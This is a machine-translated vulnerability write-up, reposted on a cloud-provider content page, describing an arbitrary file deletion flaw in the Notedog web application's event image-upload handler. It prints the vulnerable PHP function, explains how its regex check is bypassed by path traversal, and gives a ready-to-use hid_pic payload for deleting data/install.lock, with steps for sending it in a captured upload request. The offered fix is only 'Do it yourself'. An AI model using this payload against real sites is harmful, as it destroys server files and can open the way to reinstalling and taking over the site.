Delete any file of the notedog

Source: Internet
Author: User

In the previous article, arbitrary files were deleted: Accidental blind injection and arbitrary file deletion.

Condition of exploits:

1. Only windows hosts are supported. linux is invalid (at least I can't use this machine)
2. Registered users
3. The files to be deleted can be read and written.

In modules/ajax/event. mod. php

Www.2cto.com
# Protective image Deletion

Function doUnlink ($ pic ){
If (! $ Pic) return false;
$ Type = trim (strtolower (end (explode (".", $ pic ))));
$ Exp = '././images/event/[0-9] {10}'. MEMBER_ID. '_ B.'. $ type;
If (ereg ($ exp, $ pic )){
Unlink ($ pic );
Unlink (strtr ($ pic, '_ B.', '_ s .'));
Return true;
} Else {
Return false;
}
}

This function is called in onloadPic.


If ($ _ FILES ['pic '] ['name']) {
// Omit .....................
$ Hid_pic = $ this-> Post ['hid _ pic '];
$ Eid = (int) $ this-> Post ['id'];
$ This-> doUnlink ($ hid_pic, $ eid );
// Omitted .............
}

As long as $ _ FILES ['pic '] ['name'] is not empty, we can construct hid_pic.
The contents of hid_pic are:
. /. /Images/event/1234567890 {MEMBER_ID} _ B. {Suffix of the file you want to delete }/.. /.. /.. /{file to be deleted}

For example, if we want to delete the./data/install. lock file, and my MEMBER_ID is 2, then:
././Images/event/12345678902_ B .lock/..././data/install. lock


Local test successful
Actual use:
In index. php? Mod = event & code = pevent
Upload the captured packets and enter././images/event/12345678902_ B .lock/.../../data/install. lock under hid_pic.

Solution:
Do it yourself

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.